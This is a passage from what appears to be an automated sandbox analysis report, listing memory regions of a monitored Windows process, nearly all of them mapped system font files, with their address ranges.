"\\Windows\\Fonts\\gisha.ttf" (normalized: "c:\\windows\\fonts\\gisha.ttf") Region: id = 627 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gishabd.ttf" filename = "\\Windows\\Fonts\\gishabd.ttf" (normalized: "c:\\windows\\fonts\\gishabd.ttf") Region: id = 628 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "gishabd.ttf" filename = "\\Windows\\Fonts\\gishabd.ttf" (normalized: "c:\\windows\\fonts\\gishabd.ttf") Region: id = 629 start_va = 0x4a0000 end_va = 0x4d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokila.ttf" filename = "\\Windows\\Fonts\\kokila.ttf" (normalized: "c:\\windows\\fonts\\kokila.ttf") Region: id = 630 start_va = 0x4a0000 end_va = 0x4d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokila.ttf" filename = "\\Windows\\Fonts\\kokila.ttf" (normalized: "c:\\windows\\fonts\\kokila.ttf") Region: id = 631 start_va = 0x4a0000 end_va = 0x4d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokilab.ttf" filename = "\\Windows\\Fonts\\kokilab.ttf" (normalized: "c:\\windows\\fonts\\kokilab.ttf") Region: id = 632 start_va = 0x4a0000 end_va = 0x4d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokilab.ttf" filename = "\\Windows\\Fonts\\kokilab.ttf" (normalized: "c:\\windows\\fonts\\kokilab.ttf") Region: id = 633 start_va = 0x4a0000 end_va = 0x4d9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokilabi.ttf" filename = "\\Windows\\Fonts\\kokilabi.ttf" (normalized: "c:\\windows\\fonts\\kokilabi.ttf") Region: id = 634 start_va = 0x4a0000 end_va = 0x4d9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokilabi.ttf" filename = "\\Windows\\Fonts\\kokilabi.ttf" (normalized: "c:\\windows\\fonts\\kokilabi.ttf") Region: id = 635 start_va = 0x4a0000 end_va = 0x4dbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokilai.ttf" filename = "\\Windows\\Fonts\\kokilai.ttf" (normalized: "c:\\windows\\fonts\\kokilai.ttf") Region: id = 636 start_va = 0x4a0000 end_va = 0x4dbfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kokilai.ttf" filename = "\\Windows\\Fonts\\kokilai.ttf" (normalized: "c:\\windows\\fonts\\kokilai.ttf") Region: id = 637 start_va = 0x2d0000 end_va = 0x2e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "leelawad.ttf" filename = "\\Windows\\Fonts\\leelawad.ttf" (normalized: "c:\\windows\\fonts\\leelawad.ttf") Region: id = 638 start_va = 0x2d0000 end_va = 0x2e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "leelawad.ttf" filename = "\\Windows\\Fonts\\leelawad.ttf" (normalized: "c:\\windows\\fonts\\leelawad.ttf") Region: id = 639 start_va = 0x2d0000 end_va = 0x2e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "leelawdb.ttf" filename = "\\Windows\\Fonts\\leelawdb.ttf" (normalized: "c:\\windows\\fonts\\leelawdb.ttf") Region: id = 640 start_va = 0x2d0000 end_va = 0x2e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "leelawdb.ttf" filename = "\\Windows\\Fonts\\leelawdb.ttf" (normalized: "c:\\windows\\fonts\\leelawdb.ttf") Region: id = 641 start_va = 0x4a0000 end_va = 0x4d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msuighur.ttf" filename = "\\Windows\\Fonts\\msuighur.ttf" (normalized: "c:\\windows\\fonts\\msuighur.ttf") Region: id = 642 start_va = 0x4a0000 end_va = 0x4d6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msuighur.ttf" filename = "\\Windows\\Fonts\\msuighur.ttf" (normalized: "c:\\windows\\fonts\\msuighur.ttf") Region: id = 643 start_va = 0x620000 end_va = 0x673fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "moolbor.ttf" filename = "\\Windows\\Fonts\\moolbor.ttf" (normalized: "c:\\windows\\fonts\\moolbor.ttf") Region: id = 644 start_va = 0x620000 end_va = 0x673fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "moolbor.ttf" filename = "\\Windows\\Fonts\\moolbor.ttf" (normalized: "c:\\windows\\fonts\\moolbor.ttf") Region: id = 645 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "symbol.ttf" filename = "\\Windows\\Fonts\\symbol.ttf" (normalized: "c:\\windows\\fonts\\symbol.ttf") Region: id = 646 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "symbol.ttf" filename = "\\Windows\\Fonts\\symbol.ttf" (normalized: "c:\\windows\\fonts\\symbol.ttf") Region: id = 647 start_va = 0x4a0000 end_va = 0x4d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaah.ttf" filename = "\\Windows\\Fonts\\utsaah.ttf" (normalized: "c:\\windows\\fonts\\utsaah.ttf") Region: id = 648 start_va = 0x4a0000 end_va = 0x4d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaah.ttf" filename = "\\Windows\\Fonts\\utsaah.ttf" (normalized: "c:\\windows\\fonts\\utsaah.ttf") Region: id = 649 start_va = 0x4a0000 end_va = 0x4d3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaahb.ttf" filename = "\\Windows\\Fonts\\utsaahb.ttf" (normalized: "c:\\windows\\fonts\\utsaahb.ttf") Region: id = 650 start_va = 0x4a0000 end_va = 0x4d3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaahb.ttf" filename = "\\Windows\\Fonts\\utsaahb.ttf" (normalized: "c:\\windows\\fonts\\utsaahb.ttf") Region: id = 651 start_va = 0x4a0000 end_va = 0x4d5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaahbi.ttf" filename = "\\Windows\\Fonts\\utsaahbi.ttf" (normalized: "c:\\windows\\fonts\\utsaahbi.ttf") Region: id = 652 start_va = 0x4a0000 end_va = 0x4d5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaahbi.ttf" filename = "\\Windows\\Fonts\\utsaahbi.ttf" (normalized: "c:\\windows\\fonts\\utsaahbi.ttf") Region: id = 653 start_va = 0x4a0000 end_va = 0x4dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaahi.ttf" filename = "\\Windows\\Fonts\\utsaahi.ttf" (normalized: "c:\\windows\\fonts\\utsaahi.ttf") Region: id = 654 start_va = 0x4a0000 end_va = 0x4dafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "utsaahi.ttf" filename = "\\Windows\\Fonts\\utsaahi.ttf" (normalized: "c:\\windows\\fonts\\utsaahi.ttf") Region: id = 655 start_va = 0x3f0000 end_va = 0x419fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vijaya.ttf" filename = "\\Windows\\Fonts\\vijaya.ttf" (normalized: "c:\\windows\\fonts\\vijaya.ttf") Region: id = 656 start_va = 0x3f0000 end_va = 0x419fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vijaya.ttf" filename = "\\Windows\\Fonts\\vijaya.ttf" (normalized: "c:\\windows\\fonts\\vijaya.ttf") Region: id = 657 start_va = 0x3f0000 end_va = 0x415fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vijayab.ttf" filename = "\\Windows\\Fonts\\vijayab.ttf" (normalized: "c:\\windows\\fonts\\vijayab.ttf") Region: id = 658 start_va = 0x3f0000 end_va = 0x415fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "vijayab.ttf" filename = "\\Windows\\Fonts\\vijayab.ttf" (normalized: "c:\\windows\\fonts\\vijayab.ttf") Region: id = 659 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wingding.ttf" filename = "\\Windows\\Fonts\\wingding.ttf" (normalized: "c:\\windows\\fonts\\wingding.ttf") Region: id = 660 start_va = 0x2d0000 end_va = 0x2e4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "wingding.ttf" filename = "\\Windows\\Fonts\\wingding.ttf" (normalized: "c:\\windows\\fonts\\wingding.ttf") Region: id = 661 start_va = 0x2d0000 end_va = 0x2d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "modern.fon" filename = "\\Windows\\Fonts\\modern.fon" (normalized: "c:\\windows\\fonts\\modern.fon") Region: id = 662 start_va = 0x2d0000 end_va = 0x2d3fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "roman.fon" filename = "\\Windows\\Fonts\\roman.fon" (normalized: "c:\\windows\\fonts\\roman.fon") Region: id = 663 start_va = 0x2d0000 end_va = 0x2d2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "script.fon" filename = "\\Windows\\Fonts\\script.fon" (normalized: "c:\\windows\\fonts\\script.fon") Region: id = 664 start_va = 0x3f0000 end_va = 0x416fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "andlso.ttf" filename = "\\Windows\\Fonts\\andlso.ttf" (normalized: "c:\\windows\\fonts\\andlso.ttf") Region: id = 665 start_va = 0x3f0000 end_va = 0x416fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "andlso.ttf" filename = "\\Windows\\Fonts\\andlso.ttf" (normalized: "c:\\windows\\fonts\\andlso.ttf") Region: id = 666 start_va = 0x4bf0000 end_va = 0x4c88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arabtype.ttf" filename = "\\Windows\\Fonts\\arabtype.ttf" (normalized: "c:\\windows\\fonts\\arabtype.ttf") Region: id = 667 start_va = 0x4bf0000 end_va = 0x4c88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "arabtype.ttf" filename = "\\Windows\\Fonts\\arabtype.ttf" (normalized: "c:\\windows\\fonts\\arabtype.ttf") Region: id = 668 start_va = 0x2d0000 end_va = 0x2eefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simpo.ttf" filename = "\\Windows\\Fonts\\simpo.ttf" (normalized: "c:\\windows\\fonts\\simpo.ttf") Region: id = 669 start_va = 0x2d0000 end_va = 0x2eefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simpo.ttf" filename = "\\Windows\\Fonts\\simpo.ttf" (normalized: "c:\\windows\\fonts\\simpo.ttf") Region: id = 670 start_va = 0x2d0000 end_va = 0x2ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simpbdo.ttf" filename = "\\Windows\\Fonts\\simpbdo.ttf" (normalized: "c:\\windows\\fonts\\simpbdo.ttf") Region: id = 671 start_va = 0x2d0000 end_va = 0x2ecfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simpbdo.ttf" filename = "\\Windows\\Fonts\\simpbdo.ttf" (normalized: "c:\\windows\\fonts\\simpbdo.ttf") Region: id = 672 start_va = 0x2d0000 end_va = 0x2e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simpfxo.ttf" filename = "\\Windows\\Fonts\\simpfxo.ttf" (normalized: "c:\\windows\\fonts\\simpfxo.ttf") Region: id = 673 start_va = 0x2d0000 end_va = 0x2e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simpfxo.ttf" filename = "\\Windows\\Fonts\\simpfxo.ttf" (normalized: "c:\\windows\\fonts\\simpfxo.ttf") Region: id = 674 start_va = 0x620000 end_va = 0x67afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "majalla.ttf" filename = "\\Windows\\Fonts\\majalla.ttf" (normalized: "c:\\windows\\fonts\\majalla.ttf") Region: id = 675 start_va = 0x620000 end_va = 0x67afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "majalla.ttf" filename = "\\Windows\\Fonts\\majalla.ttf" (normalized: "c:\\windows\\fonts\\majalla.ttf") Region: id = 676 start_va = 0x620000 end_va = 0x67bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "majallab.ttf" filename = "\\Windows\\Fonts\\majallab.ttf" (normalized: "c:\\windows\\fonts\\majallab.ttf") Region: id = 677 start_va = 0x620000 end_va = 0x67bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "majallab.ttf" filename = "\\Windows\\Fonts\\majallab.ttf" (normalized: "c:\\windows\\fonts\\majallab.ttf") Region: id = 678 start_va = 0x3f0000 end_va = 0x41bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trado.ttf" filename = "\\Windows\\Fonts\\trado.ttf" (normalized: "c:\\windows\\fonts\\trado.ttf") Region: id = 679 start_va = 0x3f0000 end_va = 0x41bfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "trado.ttf" filename = "\\Windows\\Fonts\\trado.ttf" (normalized: "c:\\windows\\fonts\\trado.ttf") Region: id = 680 start_va = 0x3f0000 end_va = 0x41afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tradbdo.ttf" filename = "\\Windows\\Fonts\\tradbdo.ttf" (normalized: "c:\\windows\\fonts\\tradbdo.ttf") Region: id = 681 start_va = 0x3f0000 end_va = 0x41afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tradbdo.ttf" filename = "\\Windows\\Fonts\\tradbdo.ttf" (normalized: "c:\\windows\\fonts\\tradbdo.ttf") Region: id = 682 start_va = 0x2d0000 end_va = 0x2dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ahronbd.ttf" filename = "\\Windows\\Fonts\\ahronbd.ttf" (normalized: "c:\\windows\\fonts\\ahronbd.ttf") Region: id = 683 start_va = 0x2d0000 end_va = 0x2dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ahronbd.ttf" filename = "\\Windows\\Fonts\\ahronbd.ttf" (normalized: "c:\\windows\\fonts\\ahronbd.ttf") Region: id = 684 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "david.ttf" filename = "\\Windows\\Fonts\\david.ttf" (normalized: "c:\\windows\\fonts\\david.ttf") Region: id = 685 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "david.ttf" filename = "\\Windows\\Fonts\\david.ttf" (normalized: "c:\\windows\\fonts\\david.ttf") Region: id = 686 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "davidbd.ttf" filename = "\\Windows\\Fonts\\davidbd.ttf" (normalized: "c:\\windows\\fonts\\davidbd.ttf") Region: id = 687 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "davidbd.ttf" filename = "\\Windows\\Fonts\\davidbd.ttf" (normalized: "c:\\windows\\fonts\\davidbd.ttf") Region: id = 688 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frank.ttf" filename = "\\Windows\\Fonts\\frank.ttf" (normalized: "c:\\windows\\fonts\\frank.ttf") Region: id = 689 start_va = 0x2d0000 end_va = 0x2dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "frank.ttf" filename = "\\Windows\\Fonts\\frank.ttf" (normalized: "c:\\windows\\fonts\\frank.ttf") Region: id = 690 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lvnm.ttf" filename = "\\Windows\\Fonts\\lvnm.ttf" (normalized: "c:\\windows\\fonts\\lvnm.ttf") Region: id = 691 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lvnm.ttf" filename = "\\Windows\\Fonts\\lvnm.ttf" (normalized: "c:\\windows\\fonts\\lvnm.ttf") Region: id = 692 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lvnmbd.ttf" filename = "\\Windows\\Fonts\\lvnmbd.ttf" (normalized: "c:\\windows\\fonts\\lvnmbd.ttf") Region: id = 693 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "lvnmbd.ttf" filename = "\\Windows\\Fonts\\lvnmbd.ttf" (normalized: "c:\\windows\\fonts\\lvnmbd.ttf") Region: id = 694 start_va = 0x2d0000 end_va = 0x2dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mriam.ttf" filename = "\\Windows\\Fonts\\mriam.ttf" (normalized: "c:\\windows\\fonts\\mriam.ttf") Region: id = 695 start_va = 0x2d0000 end_va = 0x2dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mriam.ttf" filename = "\\Windows\\Fonts\\mriam.ttf" (normalized: "c:\\windows\\fonts\\mriam.ttf") Region: id = 696 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mriamc.ttf" filename = "\\Windows\\Fonts\\mriamc.ttf" (normalized: "c:\\windows\\fonts\\mriamc.ttf") Region: id = 697 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "mriamc.ttf" filename = "\\Windows\\Fonts\\mriamc.ttf" (normalized: "c:\\windows\\fonts\\mriamc.ttf") Region: id = 698 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nrkis.ttf" filename = "\\Windows\\Fonts\\nrkis.ttf" (normalized: "c:\\windows\\fonts\\nrkis.ttf") Region: id = 699 start_va = 0x2d0000 end_va = 0x2ddfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "nrkis.ttf" filename = "\\Windows\\Fonts\\nrkis.ttf" (normalized: "c:\\windows\\fonts\\nrkis.ttf") Region: id = 700 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rod.ttf" filename = "\\Windows\\Fonts\\rod.ttf" (normalized: "c:\\windows\\fonts\\rod.ttf") Region: id = 701 start_va = 0x2d0000 end_va = 0x2defff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "rod.ttf" filename = "\\Windows\\Fonts\\rod.ttf" (normalized: "c:\\windows\\fonts\\rod.ttf") Region: id = 702 start_va = 0x4f90000 end_va = 0x59a6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simfang.ttf" filename = "\\Windows\\Fonts\\simfang.ttf" (normalized: "c:\\windows\\fonts\\simfang.ttf") Region: id = 703 start_va = 0x4f90000 end_va = 0x59a6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simfang.ttf" filename = "\\Windows\\Fonts\\simfang.ttf" (normalized: "c:\\windows\\fonts\\simfang.ttf") Region: id = 704 start_va = 0x4f90000 end_va = 0x58dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simhei.ttf" filename = "\\Windows\\Fonts\\simhei.ttf" (normalized: "c:\\windows\\fonts\\simhei.ttf") Region: id = 705 start_va = 0x4f90000 end_va = 0x58dcfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simhei.ttf" filename = "\\Windows\\Fonts\\simhei.ttf" (normalized: "c:\\windows\\fonts\\simhei.ttf") Region: id = 706 start_va = 0x6d20000 end_va = 0x7ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006d20000" filename = "" Region: id = 707 start_va = 0x4f90000 end_va = 0x5acdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simkai.ttf" filename = "\\Windows\\Fonts\\simkai.ttf" (normalized: "c:\\windows\\fonts\\simkai.ttf") Region: id = 708 start_va = 0x4f90000 end_va = 0x5acdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "simkai.ttf" filename = "\\Windows\\Fonts\\simkai.ttf" (normalized: "c:\\windows\\fonts\\simkai.ttf") Region: id = 709 start_va = 0x2d0000 end_va = 0x2eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsau.ttf" filename = "\\Windows\\Fonts\\angsau.ttf" (normalized: "c:\\windows\\fonts\\angsau.ttf") Region: id = 710 start_va = 0x2d0000 end_va = 0x2eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsau.ttf" filename = "\\Windows\\Fonts\\angsau.ttf" (normalized: "c:\\windows\\fonts\\angsau.ttf") Region: id = 711 start_va = 0x2d0000 end_va = 0x2e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsaui.ttf" filename = "\\Windows\\Fonts\\angsaui.ttf" (normalized: "c:\\windows\\fonts\\angsaui.ttf") Region: id = 712 start_va = 0x2d0000 end_va = 0x2e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsaui.ttf" filename = "\\Windows\\Fonts\\angsaui.ttf" (normalized: "c:\\windows\\fonts\\angsaui.ttf") Region: id = 713 start_va = 0x2d0000 end_va = 0x2e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsaub.ttf" filename = "\\Windows\\Fonts\\angsaub.ttf" (normalized: "c:\\windows\\fonts\\angsaub.ttf") Region: id = 714 start_va = 0x2d0000 end_va = 0x2e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsaub.ttf" filename = "\\Windows\\Fonts\\angsaub.ttf" (normalized: "c:\\windows\\fonts\\angsaub.ttf") Region: id = 715 start_va = 0x2d0000 end_va = 0x2e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsauz.ttf" filename = "\\Windows\\Fonts\\angsauz.ttf" (normalized: "c:\\windows\\fonts\\angsauz.ttf") Region: id = 716 start_va = 0x2d0000 end_va = 0x2e9fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "angsauz.ttf" filename = "\\Windows\\Fonts\\angsauz.ttf" (normalized: "c:\\windows\\fonts\\angsauz.ttf") Region: id = 717 start_va = 0x2d0000 end_va = 0x2e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browa.ttf" filename = "\\Windows\\Fonts\\browa.ttf" (normalized: "c:\\windows\\fonts\\browa.ttf") Region: id = 718 start_va = 0x2d0000 end_va = 0x2e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browa.ttf" filename = "\\Windows\\Fonts\\browa.ttf" (normalized: "c:\\windows\\fonts\\browa.ttf") Region: id = 719 start_va = 0x2d0000 end_va = 0x2e8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browai.ttf" filename = "\\Windows\\Fonts\\browai.ttf" (normalized: "c:\\windows\\fonts\\browai.ttf") Region: id = 720 start_va = 0x2d0000 end_va = 0x2e8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browai.ttf" filename = "\\Windows\\Fonts\\browai.ttf" (normalized: "c:\\windows\\fonts\\browai.ttf") Region: id = 721 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browab.ttf" filename = "\\Windows\\Fonts\\browab.ttf" (normalized: "c:\\windows\\fonts\\browab.ttf") Region: id = 722 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browab.ttf" filename = "\\Windows\\Fonts\\browab.ttf" (normalized: "c:\\windows\\fonts\\browab.ttf") Region: id = 723 start_va = 0x2d0000 end_va = 0x2e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browaz.ttf" filename = "\\Windows\\Fonts\\browaz.ttf" (normalized: "c:\\windows\\fonts\\browaz.ttf") Region: id = 724 start_va = 0x2d0000 end_va = 0x2e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browaz.ttf" filename = "\\Windows\\Fonts\\browaz.ttf" (normalized: "c:\\windows\\fonts\\browaz.ttf") Region: id = 725 start_va = 0x2d0000 end_va = 0x2e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browau.ttf" filename = "\\Windows\\Fonts\\browau.ttf" (normalized: "c:\\windows\\fonts\\browau.ttf") Region: id = 726 start_va = 0x2d0000 end_va = 0x2e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browau.ttf" filename = "\\Windows\\Fonts\\browau.ttf" (normalized: "c:\\windows\\fonts\\browau.ttf") Region: id = 727 start_va = 0x2d0000 end_va = 0x2e8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browaui.ttf" filename = "\\Windows\\Fonts\\browaui.ttf" (normalized: "c:\\windows\\fonts\\browaui.ttf") Region: id = 728 start_va = 0x2d0000 end_va = 0x2e8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browaui.ttf" filename = "\\Windows\\Fonts\\browaui.ttf" (normalized: "c:\\windows\\fonts\\browaui.ttf") Region: id = 729 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browaub.ttf" filename = "\\Windows\\Fonts\\browaub.ttf" (normalized: "c:\\windows\\fonts\\browaub.ttf") Region: id = 730 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browaub.ttf" filename = "\\Windows\\Fonts\\browaub.ttf" (normalized: "c:\\windows\\fonts\\browaub.ttf") Region: id = 731 start_va = 0x2d0000 end_va = 0x2e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browauz.ttf" filename = "\\Windows\\Fonts\\browauz.ttf" (normalized: "c:\\windows\\fonts\\browauz.ttf") Region: id = 732 start_va = 0x2d0000 end_va = 0x2e5fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "browauz.ttf" filename = "\\Windows\\Fonts\\browauz.ttf" (normalized: "c:\\windows\\fonts\\browauz.ttf") Region: id = 733 start_va = 0x2d0000 end_va = 0x2eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiau.ttf" filename = "\\Windows\\Fonts\\cordiau.ttf" (normalized: "c:\\windows\\fonts\\cordiau.ttf") Region: id = 734 start_va = 0x2d0000 end_va = 0x2eafff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiau.ttf" filename = "\\Windows\\Fonts\\cordiau.ttf" (normalized: "c:\\windows\\fonts\\cordiau.ttf") Region: id = 735 start_va = 0x2d0000 end_va = 0x2e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiaub.ttf" filename = "\\Windows\\Fonts\\cordiaub.ttf" (normalized: "c:\\windows\\fonts\\cordiaub.ttf") Region: id = 736 start_va = 0x2d0000 end_va = 0x2e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiaub.ttf" filename = "\\Windows\\Fonts\\cordiaub.ttf" (normalized: "c:\\windows\\fonts\\cordiaub.ttf") Region: id = 737 start_va = 0x2d0000 end_va = 0x2e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiauz.ttf" filename = "\\Windows\\Fonts\\cordiauz.ttf" (normalized: "c:\\windows\\fonts\\cordiauz.ttf") Region: id = 738 start_va = 0x2d0000 end_va = 0x2e7fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiauz.ttf" filename = "\\Windows\\Fonts\\cordiauz.ttf" (normalized: "c:\\windows\\fonts\\cordiauz.ttf") Region: id = 739 start_va = 0x2d0000 end_va = 0x2e8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiaui.ttf" filename = "\\Windows\\Fonts\\cordiaui.ttf" (normalized: "c:\\windows\\fonts\\cordiaui.ttf") Region: id = 740 start_va = 0x2d0000 end_va = 0x2e8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "cordiaui.ttf" filename = "\\Windows\\Fonts\\cordiaui.ttf" (normalized: "c:\\windows\\fonts\\cordiaui.ttf") Region: id = 741 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdl.ttf" filename = "\\Windows\\Fonts\\upcdl.ttf" (normalized: "c:\\windows\\fonts\\upcdl.ttf") Region: id = 742 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdl.ttf" filename = "\\Windows\\Fonts\\upcdl.ttf" (normalized: "c:\\windows\\fonts\\upcdl.ttf") Region: id = 743 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdi.ttf" filename = "\\Windows\\Fonts\\upcdi.ttf" (normalized: "c:\\windows\\fonts\\upcdi.ttf") Region: id = 744 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdi.ttf" filename = "\\Windows\\Fonts\\upcdi.ttf" (normalized: "c:\\windows\\fonts\\upcdi.ttf") Region: id = 745 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdb.ttf" filename = "\\Windows\\Fonts\\upcdb.ttf" (normalized: "c:\\windows\\fonts\\upcdb.ttf") Region: id = 746 start_va = 0x2d0000 end_va = 0x2e0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdb.ttf" filename = "\\Windows\\Fonts\\upcdb.ttf" (normalized: "c:\\windows\\fonts\\upcdb.ttf") Region: id = 747 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdbi.ttf" filename = "\\Windows\\Fonts\\upcdbi.ttf" (normalized: "c:\\windows\\fonts\\upcdbi.ttf") Region: id = 748 start_va = 0x2d0000 end_va = 0x2e1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "upcdbi.ttf" filename = "\\Windows\\Fonts\\upcdbi.ttf" (normalized: "c:\\windows\\fonts\\upcdbi.ttf") Region: id = 749 start_va = 0x2d0000 end_va = 0x2e2fff monitored = 0 entry_point = 0x0 region_type = 